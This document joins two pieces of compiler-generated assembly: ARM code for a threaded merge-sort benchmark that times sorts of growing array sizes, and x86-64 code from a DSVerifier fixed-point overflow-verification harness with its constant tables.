ldr r3, [fp, #-44]
str r3, [fp, #-52]
b .L5
.L8:
ldr r3, .L16+16
ldr r2, [r3]
ldr r3, [fp, #-60]
lsl r3, r3, #2
add r3, r2, r3
ldr r2, [r3]
ldr r3, .L16+16
ldr r1, [r3]
ldr r3, [fp, #-56]
lsl r3, r3, #2
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
bge .L6
ldr r3, .L16+16
ldr r2, [r3]
ldr r3, [fp, #-60]
add r1, r3, #1
str r1, [fp, #-60]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L16+20
ldr r1, [r3]
ldr r3, [fp, #-52]
add r0, r3, #1
str r0, [fp, #-52]
lsl r3, r3, #2
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
b .L5
.L6:
ldr r3, .L16+16
ldr r2, [r3]
ldr r3, [fp, #-56]
add r1, r3, #1
str r1, [fp, #-56]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L16+20
ldr r1, [r3]
ldr r3, [fp, #-52]
add r0, r3, #1
str r0, [fp, #-52]
lsl r3, r3, #2
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
.L5:
ldr r2, [fp, #-60]
ldr r3, [fp, #-36]
cmp r2, r3
bgt .L9
ldr r2, [fp, #-56]
ldr r3, [fp, #-40]
cmp r2, r3
ble .L8
b .L9
.L10:
ldr r3, .L16+16
ldr r2, [r3]
ldr r3, [fp, #-60]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L16+20
ldr r1, [r3]
ldr r3, [fp, #-52]
add r0, r3, #1
str r0, [fp, #-52]
lsl r3, r3, #2
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L9:
ldr r2, [fp, #-60]
ldr r3, [fp, #-36]
cmp r2, r3
ble .L10
b .L11
.L12:
ldr r3, .L16+16
ldr r2, [r3]
ldr r3, [fp, #-56]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L16+20
ldr r1, [r3]
ldr r3, [fp, #-52]
add r0, r3, #1
str r0, [fp, #-52]
lsl r3, r3, #2
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L11:
ldr r2, [fp, #-56]
ldr r3, [fp, #-40]
cmp r2, r3
ble .L12
ldr r3, [fp, #-44]
str r3, [fp, #-60]
b .L13
.L14:
ldr r3, .L16+20
ldr r2, [r3]
ldr r3, [fp, #-60]
lsl r3, r3, #2
add r2, r2, r3
ldr r3, .L16+16
ldr r1, [r3]
ldr r3, [fp, #-60]
lsl r3, r3, #2
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L13:
ldr r2, [fp, #-60]
ldr r3, [fp, #-40]
cmp r2, r3
ble .L14
mov r0, #0
bl pthread_exit
.L17:
.align 2
.L16:
.word .LC2
.word merge_sort
.word .LC0
.word .LC1
.word input
.word output
.size merge_sort, .-merge_sort
.section .rodata
.align 2
.LC3:
.ascii "n is %d\012\000"
.align 2
.LC4:
.ascii "time array element %d is %llu\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 224
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #224
ldr r3, .L27
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #172
mov r2, #152
mov r1, #0
mov r0, r3
bl memset
mov r3, #0
str r3, [fp, #-224]
ldr r3, .L27+4
mov r2, #100
str r2, [r3]
b .L19
.L22:
ldr r3, .L27+4
ldr r3, [r3]
mov r1, r3
ldr r0, .L27+8
bl printf
ldr r3, .L27+4
ldr r3, [r3]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L27+12
str r2, [r3]
sub r3, fp, #232
mov r0, r3
bl time
mov r3, r0
add r3, r3, #10
mov r0, r3
bl srand
mov r3, #0
str r3, [fp, #-220]
b .L20
.L21:
bl rand
mov r2, r0
ldr r3, .L27+16
smull r1, r3, r2, r3
asr r1, r3, #12
asr r3, r2, #31
sub r1, r1, r3
mov r3, r1
lsl r3, r3, #5
sub r3, r3, r1
lsl r3, r3, #2
add r3, r3, r1
lsl r1, r3, #2
add r3, r3, r1
lsl r3, r3, #4
sub r3, r2, r3
str r3, [fp, #-216]
ldr r3, .L27+12
ldr r2, [r3]
ldr r3, [fp, #-220]
lsl r3, r3, #2
add r3, r2, r3
ldr r2, [fp, #-216]
str r2, [r3]
ldr r3, [fp, #-220]
add r3, r3, #1
str r3, [fp, #-220]
.L20:
ldr r3, .L27+4
ldr r3, [r3]
ldr r2, [fp, #-220]
cmp r2, r3
blt .L21
ldr r3, .L27+4
ldr r3, [r3]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
mov r2, r3
ldr r3, .L27+20
str r2, [r3]
mov r3, #0
str r3, [fp, #-188]
ldr r3, .L27+4
ldr r3, [r3]
sub r3, r3, #1
str r3, [fp, #-184]
sub r3, fp, #180
mov r1, #0
mov r0, r3
bl gettimeofday
ldr r3, [fp, #-176]
mov r2, r3
asr r3, r2, #31
str r2, [fp, #-212]
str r3, [fp, #-208]
sub r3, fp, #188
sub r0, fp, #228
ldr r2, .L27+24
mov r1, #0
bl pthread_create
ldr r3, [fp, #-228]
mov r1, #0
mov r0, r3
bl pthread_join
sub r3, fp, #180
mov r1, #0
mov r0, r3
bl gettimeofday
ldr r3, [fp, #-176]
mov r2, r3
asr r3, r2, #31
str r2, [fp, #-204]
str r3, [fp, #-200]
sub r1, fp, #204
ldmia r1, {r0-r1}
sub r3, fp, #212
ldmia r3, {r2-r3}
subs r4, r0, r2
sbc r5, r1, r3
str r4, [fp, #-196]
str r5, [fp, #-192]
ldr r3, [fp, #-224]
lsl r3, r3, #3
sub r2, fp, #12
add r3, r2, r3
sub r1, r3, #160
sub r3, fp, #196
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-224]
add r3, r3, #1
str r3, [fp, #-224]
ldr r3, .L27+4
ldr r3, [r3]
add r3, r3, #50
ldr r2, .L27+4
str r3, [r2]
.L19:
ldr r3, .L27+4
ldr r3, [r3]
cmp r3, #1000
ble .L22
mov r3, #0
str r3, [fp, #-220]
b .L23
.L24:
ldr r3, [fp, #-220]
lsl r3, r3, #3
sub r2, fp, #12
add r3, r2, r3
sub r3, r3, #160
ldmia r3, {r2-r3}
ldr r1, [fp, #-220]
ldr r0, .L27+28
bl printf
ldr r3, [fp, #-220]
add r3, r3, #1
str r3, [fp, #-220]
.L23:
ldr r2, [fp, #-220]
ldr r3, [fp, #-224]
cmp r2, r3
blt .L24
mov r3, #0
ldr r2, .L27
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L26
bl __stack_chk_fail
.L26:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L28:
.align 2
.L27:
.word .LC5
.word n
.word .LC3
.word input
.word 1759218605
.word output
.word merge_sort
.word .LC4
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "228753.c"
.intel_syntax noprefix
.text
.globl X_SIZE_VALUE
.bss
.align 4
.type X_SIZE_VALUE, @object
.size X_SIZE_VALUE, 4
X_SIZE_VALUE:
.zero 4
.globl overflow_mode
.data
.align 4
.type overflow_mode, @object
.size overflow_mode, 4
overflow_mode:
.long 1
.globl rounding_mode
.bss
.align 4
.type rounding_mode, @object
.size rounding_mode, 4
rounding_mode:
.zero 4
.text
.globl __DSVERIFIER_assume
.type __DSVERIFIER_assume, @function
__DSVERIFIER_assume:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, edi
mov BYTE PTR -4[rbp], al
movzx eax, BYTE PTR -4[rbp]
mov edi, eax
mov eax, 0
call __ESBMC_assume@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size __DSVERIFIER_assume, .-__DSVERIFIER_assume
.section .rodata
.align 8
.LC0:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
.LC1:
.string "expression"
.text
.globl __DSVERIFIER_assert
.type __DSVERIFIER_assert, @function
__DSVERIFIER_assert:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, edi
mov BYTE PTR -4[rbp], al
cmp BYTE PTR -4[rbp], 0
jne .L4
lea rcx, __PRETTY_FUNCTION__.21[rip]
mov edx, 36
lea rsi, .LC0[rip]
lea rdi, .LC1[rip]
call __assert_fail@PLT
.L4:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size __DSVERIFIER_assert, .-__DSVERIFIER_assert
.section .rodata
.LC2:
.string "%s"
.text
.globl __DSVERIFIER_assert_msg
.type __DSVERIFIER_assert_msg, @function
__DSVERIFIER_assert_msg:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, edi
mov QWORD PTR -16[rbp], rsi
mov BYTE PTR -4[rbp], al
mov rax, QWORD PTR -16[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
cmp BYTE PTR -4[rbp], 0
jne .L7
lea rcx, __PRETTY_FUNCTION__.20[rip]
mov edx, 41
lea rsi, .LC0[rip]
lea rdi, .LC1[rip]
call __assert_fail@PLT
.L7:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size __DSVERIFIER_assert_msg, .-__DSVERIFIER_assert_msg
.globl _fxp_one
.bss
.align 8
.type _fxp_one, @object
.size _fxp_one, 8
_fxp_one:
.zero 8
.globl _fxp_half
.align 8
.type _fxp_half, @object
.size _fxp_half, 8
_fxp_half:
.zero 8
.globl _fxp_minus_one
.align 8
.type _fxp_minus_one, @object
.size _fxp_minus_one, 8
_fxp_minus_one:
.zero 8
.globl _fxp_min
.align 8
.type _fxp_min, @object
.size _fxp_min, 8
_fxp_min:
.zero 8
.globl _fxp_max
.align 8
.type _fxp_max, @object
.size _fxp_max, 8
_fxp_max:
.zero 8
.globl _dbl_max
.align 8
.type _dbl_max, @object
.size _dbl_max, 8
_dbl_max:
.zero 8
.globl _dbl_min
.align 8
.type _dbl_min, @object
.size _dbl_min, 8
_dbl_min:
.zero 8
.globl _fxp_fmask
.align 8
.type _fxp_fmask, @object
.size _fxp_fmask, 8
_fxp_fmask:
.zero 8
.globl _fxp_imask
.align 8
.type _fxp_imask, @object
.size _fxp_imask, 8
_fxp_imask:
.zero 8
.section .rodata
.align 32
.type scale_factor, @object
.size scale_factor, 248
scale_factor:
.long 0
.long 1072693248
.long 0
.long 1073741824
.long 0
.long 1074790400
.long 0
.long 1075838976
.long 0
.long 1076887552
.long 0
.long 1077936128
.long 0
.long 1078984704
.long 0
.long 1080033280
.long 0
.long 1081081856
.long 0
.long 1082130432
.long 0
.long 1083179008
.long 0
.long 1084227584
.long 0
.long 1085276160
.long 0
.long 1086324736
.long 0
.long 1087373312
.long 0
.long 1088421888
.long 0
.long 1089470464
.long 0
.long 1090519040
.long 0
.long 1091567616
.long 0
.long 1092616192
.long 0
.long 1093664768
.long 0
.long 1094713344
.long 0
.long 1095761920
.long 0
.long 1096810496
.long 0
.long 1097859072
.long 0
.long 1098907648
.long 0
.long 1099956224
.long 0
.long 1101004800
.long 0
.long 1102053376
.long 0
.long 1103101952
.long 0
.long 1104150528
.align 32
.type scale_factor_inv, @object
.size scale_factor_inv, 248
scale_factor_inv:
.long 0
.long 1072693248
.long 0
.long 1071644672
.long 0
.long 1070596096
.long 0
.long 1069547520
.long 0
.long 1068498944
.long 0
.long 1067450368
.long 0
.long 1066401792
.long 0
.long 1065353216
.long 0
.long 1064304640
.long 0
.long 1063256064
.long 0
.long 1062207488
.long 0
.long 1061158912
.long 0
.long 1060110336
.long 0
.long 1059061760
.long 0
.long 1058013184
.long 0
.long 1056964608
.long 147574
.long 1055916032
.long -295148
.long 1054867455
.long 442722
.long 1053818880
.long 442722
.long 1052770304
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.long -1093975850
.long 1020380078
.long -1089410489
.long -1104842450
.long -1086556432
.long -1101887697
.long -1088354839
.long -1126545085
.long -1095749261
.long -1100316679
.long -1091532835
.long 1048852803
.long 1042565927
.long 1029216898
.long 1048977337
.long -1089326691
.long 1053989463
.long -1105940298
.long 1048530670
.long 1042797229
.long 1059479776
.long 1041668979
.long -1100444159
.long 1063128393
.long -1114219830
.long 1028207334
.long 1024701102
.long 1043987104
.long 1030256608
.long -1084529960
.long -1099410213
.long -1088425738
.long -1085600611
.long -1098867096
.long -1084929001
.long 1052541008
.long 1064342058
.long 1050448210
.long -1088860940
.long -1117017158
.long 1052647148
.long -1100392585
.long 1060446544
.long 1061917012
.long 1056154194
.long 1062490378
.long 1053789907
.long 1046111961
.long 1061449813
.long 1057384970
.long 1048892670
.long -1090110639
.long -1086634854
.long -1100040527
.long 1047768837
.long -1083237975
.long 1057585590
.long 1056924996
.long -1093615662
.long 1053032747
.long -1093307591
.long 1033976694
.long -1115644953
.long -1096555303
.long -1084746556
.long 1041074680
.long -1087555086
.long -1082784009
.long 1062539150
.long -1083715361
.long -1108746972
.long -1094656398
.long 1053284463
.long 1064567088
.long 1065075184
.long -1112051759
.long -1087473252
.long 1059936382
.long -1084349792
.long -1085272489
.long -1101423563
.long -1082298165
.long -1114908340
.long 1040476680
.long -1088442922
.long -1097713773
.long 1047611383
.long -1088640441
.long 1057622103
.long 1064850884
.long 1063708115
.long 1043079437
.long -1087722089
.long 1064776294
.long 1059498547
.long 1060110368
.long 1061303436
.long -1084824919
.long -1089633622
.long -1090033478
.long 1043526807
.long 1048145544
.long 1058456323
.long -1096998461
.long 1064036876
.long -1128843305
.long -1110328425
.long 1058853351
.long 1062598549
.long -1092628994
.long 1055465263
.long 1050637434
.long -1088019363
.long 1051824869
.long -1088303102
.long -1088846710
.long -1087938318
.long 1056437981
.long 1061696560
.long 1064698697
.long 1059098153
.long 1064482354
.long -1103251713
.long 1058684104
.long -1084045923
.long -1159011687
.long -1103908839
.long 1027404019
.long -1083841475
.long 1048787757
.long -1086602867
.long -1086490970
.long 1064794946
.long 1051195158
.long -1098308547
.long 1059825892
.long -1095344023
.long 1033206261
.long -1088933078
.long 1057299571
.long 1031894476
.long -1084169956
.long -1090587963
.long 1014549557
.long -1101052658
.long 1057765237
.long -1111785639
.long -1097923023
.long -1100340095
.long 1036889952
.long 1062031740
.long 1043598693
.long 1029818563
.long 1064317178
.long 1059301650
.long -1097516427
.long -1084588242
.long -1088760297
.long 1022286585
.long -1083261630
.long -1088485053
.long 1053711181
.long -1085323210
.long 1064792956
.long -1102313128
.long -1089834392
.long -1134009259
.long 1038788730
.long 1055853598
.long -1105926214
.long -1084702255
.long -1084122941
.long -1093512138
.long -1088208853
.long -1102506962
.long 1044768748
.long -1098619375
.long -1104074781
.long 1056230483
.long 1064578443
.long 1064848490
.long 1040624664
.long -1090524756
.long 1050956780
.long -1100452448
.long 1061442214
.long 1059436067
.long -1085945660
.long 1061538848
.long -1083198174
.long -1087635994
.long -1088923073
.long 1051432575
.long 1059463816
.long -1085596994
.long -1082740062
.long 1063915557
.long -1093952896
.long 1062052132
.long -1097530604
.long -1095890473
.long -1101684546
.long 1049521471
.long -1084929581
.long 1048930157
.long -1089167841
.long 1063986898
.long 1059336377
.long 1062457117
.long -1093464069
.long -1090211757
.long 1054392885
.long 1033842619
.long 1053412113
.long 1058805159
.long 1049068211
.long -1091842571
.long -1112545402
.long -1097841236
.long -1103620185
.long -1147964435
.long 1062059905
.long -1105278022
.long -1157162891
.long 1032291778
.long -1086534297
.long 1058980930
.long 1038811755
.long 1057730707
.long 1059675835
.long -1088970832
.long 1058797351
.long -1082654200
.long -1087699321
.long 1045684652
.long 1036180365
.long 1049199445
.long -1120381080
.long -1083244610
.long 1047674761
.long 1032654210
.long 1064181549
.long 1054815563
.long 1057530997
.long 1052544887
.long -1088802513
.long 1060479714
.long -1104390179
.long 1040567958
.long -1087872667
.long 1038849053
.long 1043457474
.long -1087471100
.long -1089868318
.long 1056342431
.long 1012932633
.long -1089343539
.long 1044427803
.long -1095455927
.long -1082479812
.long 1046811230
.long 1065256252
.long -1105766498
.long 1046457208
.long -1107960523
.long -1135824046
.long -1088084081
.long -1090466650
.long 1057537097
.long 1058973025
.long -1099964730
.long 1065137536
.long 1048954652
.long 1062867287
.long 1061159242
.long -1083369352
.long 1055265281
.long 1061712750
.long -1091887116
.long -1100325134
.long 1049284298
.long -1087564814
.long 1061714480
.long 1059247883
.long -1086255776
.long -1089740810
.long 1025378107
.long -1086006789
.long -1088092639
.long 1007802340
.long -1113435749
.long -1082298528
.long 1058693626
.long 1049610675
.long -1088258869
.long -1086951039
.long -1093064818
.long -1092635528
.long 1055869593
.long 1063805358
.long 1061806799
.long -1105468365
.long -1082750444
.long 1063799534
.long 1062112993
.long 1060307809
.long 1037887921
.long 1040345819
.long -1090474651
.long -1090322006
.long -1107742836
.long -1088899583
.long 1053950755
.long -1084598531
.long 1049548146
.long 1020599998
.long 1065312254
.long -1090544345
.long -1092157527
.long -1084116125
.long 1065134394
.long -1106986999
.long 1064276606
.long -1088018875
.long 1057810795
.long 1049545345
.long 1013037223
.long -1087823511
.long -1093313818
.long -1097132516
.long 1043922500
.long -1083670648
.long 1049584530
.long -1087834253
.long -1085515949
.long 1063701922
.long -1088695307
.long 1050886565
.long 1063239383
.long -1113120533
.long 1065045712
.long -1095913428
.long 1057966509
.long 1053285818
.long -1096915036
.long 1064624467
.long -1088443122
.long -1102489424
.long -1087128767
.long 1050022155
.long -1088553552
.long 1062989600
.long 1059666004
.long 1033443678
.long -1097819914
.long -1087709502
.long -1092162202
.long -1091709596
.long 1058497868
.long 1057847909
.long -1099417252
.long 1041722626
.long -1144619950
.long -1084636137
.long -1087835404
.long -1104580000
.long 1045499080
.long -1087737926
.long -1086892566
.long 1054195946
.long 1055225985
.long 1060887856
.long -1104261038
.long -1095659245
.long 1064616002
.long 1023494034
.long 1057116058
.long -1105764417
.long 1060612374
.long -1105399888
.long -1089072999
.long 1039815345
.long -1084059828
.long -1095057958
.long 1035086798
.long -1085594387
.long 1057530810
.long -1084600804
.long 1050077630
.long 1040976879
.long 1062636562
.long 1061917655
.long -1085854881
.long -1098541074
.long -1097103790
.long 1049372113
.long 1057475924
.long 1035044185
.long 1032506143
.long 1060728634
.long -1082554723
.long 1061860840
.long 1048426230
.long 1065008126
.long -1094310941
.long 1032000624
.long -1147798295
.long 1052651372
.long 1059441764
.long 1049190212
.long -1096544456
.long 1035859026
.long 1048777663
.long 1060997787
.long -1087887144
.long 1062392613
.long -1085143949
.long -1092086022
.long 1061733336
.long 1063890106
.long 1036824943
.long -1101416116
.long 1015775368
.long -1089024821
.long -1104153305
.long -1090100983
.long 1064707768
.long 1037001441
.long 1064370996
.long -1082680285
.long 1058923877
.long -1083576240
.long 1049398380
.long 1064089109
.long -1084373497
.long 1047068863
.long 1035591433
.long -1107128544
.long -1083102313
.long -1108045303
.long 1059888610
.long 1063362239
.long 1048327040
.long 1029721288
.long -1091764483
.long 1063490437
.long 1059759416
.long 1047798692
.long -1097906308
.long 1062924887
.long 1050733780
.long -1103024449
.long -1088685208
.long 1043170642
.long 1049100049
.long -1083079628
.long 1056733709
.long -1094339288
.long 1009402694
.long 1061220616
.long 1052379496
.long -1097678881
.long -1088449856
.long 1044144581
.long -1107393035
.long -1087366780
.long -1090368006
.long -1087066796
.long 1058652163
.long 1062249251
.long 1045150698
.long 1056222955
.long 1061292422
.long 1058940225
.long -1095431749
.long 1054269807
.long -1084469430
.long -1128353426
.long -1085654469
.long -1083922294
.long 1058826820
.long 1062792570
.long -1082305698
.long -1094959910
.long 1061017375
.long -1083412289
.long -1089173940
.long 1058257997
.long -1083625736
.long -1083682340
.long 1060192079
.long 1062177191
.long -1088697096
.long 1061347733
.long 1029684603
.long -1094077272
.long -1108487058
.long -1123012760
.long 1052761653
.long -1083349396
.long 1064334861
.long -1082636572
.long -1119326636
.long -1089064130
.long 1019278491
.long 1053236140
.long -1114295935
.long 1054222555
.long -1089272672
.long -1085822056
.long -1084895473
.long 1063989519
.long -1086058146
.long -1083215739
.long -1113994980
.long -1098698049
.long 1060217139
.long 1058521538
.long 1062614224
.long -1085453101
.long 1031007548
.long 1042427254
.long -1092889165
.long -1092178938
.long -1104322180
.long 1054291815
.long -1083760538
.long -1087923992
.long 1064376819
.long -1093504223
.long -1092016193
.long 1058346568
.long -1098030183
.long 1042823187
.long -1082797514
.long 1058475485
.long -1082211203
.long -1097706072
.long -1085618983
.long -1091991298
.long -1084409295
.long 1061976722
.long -1090222528
.long 1057351936
.long 1053568383
.long 1063821073
.long -1092705213
.long -1098000855
.long 1058236321
.long -1121081701
.long -1096306148
.long -1093833516
.long -1100076850
.long 1058267028
.long -1086605080
.long -1097313821
.long 1042975221
.long -1088055665
.long 1023414542
.long 1061228454
.long -1083665550
.long 1050769762
.long 1052476456
.long 1063137010
.long -1088616639
.long 1006179781
.long 1064571803
.long -1085275302
.long 1060907236
.long 1061691100
.long -1087935778
.long 1058853519
.long -1097318513
.long -1093553731
.long -1106023722
.long -1085236094
.long 1052237856
.long 1052163793
.long -1084270937
.long 1060602745
.long -1094716131
.long -1114647838
.long 1051255101
.long 1036242700
.long -1083178536
.long -1096481881
.long 1061686471
.long -1085315725
.long -1105598732
.long 1062784778
.long -1107086589
.long -1086280919
.long 1062668808
.long -1114601916
.long 968892864
.long 1033986761
.long -1099172513
.long -1105172589
.long -1091835973
.long 1059011787
.long 1060703779
.long -1098643462
.long -1096900751
.long 1061414742
.long -1089624545
.long -1088627530
.long 1052066243
.long 1064066292
.long 1059157322
.long -1105702412
.long -1085120104
.long 1052543743
.long 1053790897
.long -1085431643
.long -1092875281
.long -1086763671
.long -1082735668
.long 1044608717
.long 1056193127
.long -1087813170
.long 1049302233
.long -1083539817
.long 1044990008
.long 1052883015
.long 1058374175
.long -1122318862
.long -1096311334
.long 1062849119
.long 1061990587
.long -1109158271
.long 1057393891
.long -1093723952
.long -1106658928
.long 1035357273
.long -1085224811
.long -1083469824
.long -1095213990
.long -1089575508
.long -1100855275
.long -1089318961
.long 1058194918
.long -1106701520
.long -1082430235
.long -1095467028
.long 1050880651
.long -1085638088
.long 1060171884
.long 1062098676
.long -1082438471
.long 1053850760
.long 1063981677
.long 1061609886
.long -1092607029
.long -1094373856
.long 1010608748
.long 1060105715
.long 1065227804
.long 1055991641
.long -1084252049
.long -1089496920
.long -1086724842
.long -1089865702
.long 1061528976
.long 1062979084
.long -1104353577
.text
.globl wrap
.type wrap, @function
wrap:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov QWORD PTR -40[rbp], rdx
mov rax, QWORD PTR -40[rbp]
mov edx, eax
mov rax, QWORD PTR -32[rbp]
mov ecx, eax
mov eax, edx
sub eax, ecx
add eax, 1
mov DWORD PTR -4[rbp], eax
mov rax, QWORD PTR -24[rbp]
cmp rax, QWORD PTR -32[rbp]
jge .L9
mov eax, DWORD PTR -4[rbp]
movsx rcx, eax
mov rax, QWORD PTR -32[rbp]
sub rax, QWORD PTR -24[rbp]
mov edx, DWORD PTR -4[rbp]
movsx rsi, edx
cqo
idiv rsi
add rax, 1
imul rax, rcx
add QWORD PTR -24[rbp], rax
.L9:
mov rax, QWORD PTR -24[rbp]
sub rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR -4[rbp]
movsx rcx, edx
cqo
idiv rcx
mov rax, QWORD PTR -32[rbp]
add rax, rdx
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size wrap, .-wrap
.globl fxp_get_int_part
.type fxp_get_int_part, @function
fxp_get_int_part:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
jns .L12
mov rax, QWORD PTR -8[rbp]
neg rax
mov rdx, rax
mov rax, QWORD PTR _fxp_imask[rip]
and rax, rdx
neg rax
jmp .L14
.L12:
mov rax, QWORD PTR _fxp_imask[rip]
and rax, QWORD PTR -8[rbp]
.L14:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size fxp_get_int_part, .-fxp_get_int_part
.globl fxp_get_frac_part
.type fxp_get_frac_part, @function
fxp_get_frac_part:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
jns .L16
mov rax, QWORD PTR -8[rbp]
neg rax
mov rdx, rax
mov rax, QWORD PTR _fxp_fmask[rip]
and rax, rdx
neg rax
jmp .L18
.L16:
mov rax, QWORD PTR _fxp_fmask[rip]
and rax, QWORD PTR -8[rbp]
.L18:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size fxp_get_frac_part, .-fxp_get_frac_part
.globl fxp_quantize
.type fxp_quantize, @function
fxp_quantize:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 8
mov QWORD PTR -8[rbp], rdi
mov eax, DWORD PTR overflow_mode[rip]
cmp eax, 2
jne .L20
mov rax, QWORD PTR _fxp_min[rip]
cmp QWORD PTR -8[rbp], rax
jge .L21
mov rax, QWORD PTR _fxp_min[rip]
jmp .L22
.L21:
mov rax, QWORD PTR _fxp_max[rip]
cmp QWORD PTR -8[rbp], rax
jle .L23
mov rax, QWORD PTR _fxp_max[rip]
jmp .L22
.L20:
mov eax, DWORD PTR overflow_mode[rip]
cmp eax, 3
jne .L23
mov rax, QWORD PTR _fxp_min[rip]
cmp QWORD PTR -8[rbp], rax
jl .L24
mov rax, QWORD PTR _fxp_max[rip]
cmp QWORD PTR -8[rbp], rax
jle .L23
.L24:
mov rdx, QWORD PTR _fxp_max[rip]
mov rcx, QWORD PTR _fxp_min[rip]
mov rax, QWORD PTR -8[rbp]
mov rsi, rcx
mov rdi, rax
call wrap
jmp .L22
.L23:
mov rax, QWORD PTR -8[rbp]
.L22:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size fxp_quantize, .-fxp_quantize
.section .rodata
.align 8
.LC3:
.string "An Overflow Occurred in system's output"
.text
.globl fxp_verify_overflow
.type fxp_verify_overflow, @function
fxp_verify_overflow:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call fxp_quantize
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR _fxp_max[rip]
cmp QWORD PTR -8[rbp], rax
jg .L26
mov rax, QWORD PTR _fxp_min[rip]
cmp QWORD PTR -8[rbp], rax
jl .L26
mov eax, 1
jmp .L27
.L26:
mov eax, 0
.L27:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size fxp_verify_overflow, .-fxp_verify_overflow
.globl fxp_verify_overflow_node
.type fxp_verify_overflow_node, @function
fxp_verify_overflow_node:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size fxp_verify_overflow_node, .-fxp_verify_overflow_node
.globl fxp_verify_overflow_array
.type fxp_verify_overflow_array, @function
fxp_verify_overflow_array:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -4[rbp], 0
mov DWORD PTR -4[rbp], 0
jmp .L30
.L31:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov rdi, rax
call fxp_verify_overflow
add DWORD PTR -4[rbp], 1
.L30:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L31
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size fxp_verify_overflow_array, .-fxp_verify_overflow_array
.globl fxp_int_to_fxp
.type fxp_int_to_fxp, @function
